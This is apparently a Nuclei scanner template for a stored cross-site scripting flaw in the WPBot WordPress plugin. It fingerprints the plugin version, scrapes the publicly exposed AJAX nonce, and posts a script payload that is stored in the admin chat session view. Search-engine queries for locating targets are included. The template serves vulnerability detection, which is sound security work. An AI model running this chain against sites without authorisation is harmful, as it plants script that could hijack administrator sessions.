id: CVE-2026-13731

info:
  name: WPBot <= 8.4.9 - Cross-Site Scripting
  author: 0x_Akoko
  severity: high
  description: |
    WPBot <= 8.4.9 is vulnerable to stored cross-site scripting via the conversation parameter in the qcld_wb_chatbot_conversation_save AJAX action. The AJAX nonce (qcsecretbotnonceval123qc) is publicly emitted on every frontend page via wp_localize_script under the ajax_nonce key, making it freely obtainable by unauthenticated visitors. The conversation parameter is saved to the database without sanitization and rendered unsanitized in the admin chat session view, causing stored XSS that executes when an administrator views saved chat sessions.
  impact: |
    Unauthenticated attackers can inject arbitrary JavaScript into the admin chat sessions view, enabling session hijacking, admin credential theft, or further site compromise.
  remediation: |
    Update WPBot to version 8.5.0 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/124f2b72-d8da-46ba-844f-e9cc01441702
    - https://plugins.trac.wordpress.org/browser/chatbot/tags/8.4.9/includes/chat-sessions/wpbot-chat-sessions.php#L509
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-13731
    epss-score: 0.00657
    epss-percentile: 0.47908
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: quantumcloud
    product: chatbot
    fofa-query: body="wp_chatbot_obj"
    shodan-query: http.html:"wp_chatbot_obj"
    tags: cve,cve2026,wordpress,wp-plugin,wpbot,chatbot,xss,stored,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/chatbot/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WPBot")'
          - 'compare_versions(lsversion, ">=1.0.0", "<=8.4.9")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        internal: true
        regex:
          - 'Stable tag: ([\d.]+)'
        group: 1

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ajax_nonce")'
          - 'contains(body, "wp_chatbot_obj")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: ajax_nonce
        internal: true
        regex:
          - '"ajax_nonce"\s*:\s*"([^"]+)"'
        group: 1

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcld_wb_chatbot_conversation_save&session_id={{randstr}}&name=test&email=test%40test.com&phone=1234&conversation=%3Cli+class%3D%22wp-chat-user-msg%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%3C%2Fli%3E&security={{ajax_nonce}}&user_id=0

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
# digest: 4b0a00483046022100aeeede5cba67fd42a3aeb66bd5e05bef4f2ca59c9c43863d2392e60dfe828a51022100a14a3c79e27d154879ec68fd139b2d5632aa54d8b93b9cd016633682256c2040:922c64590222798bb761d5b6d8e72950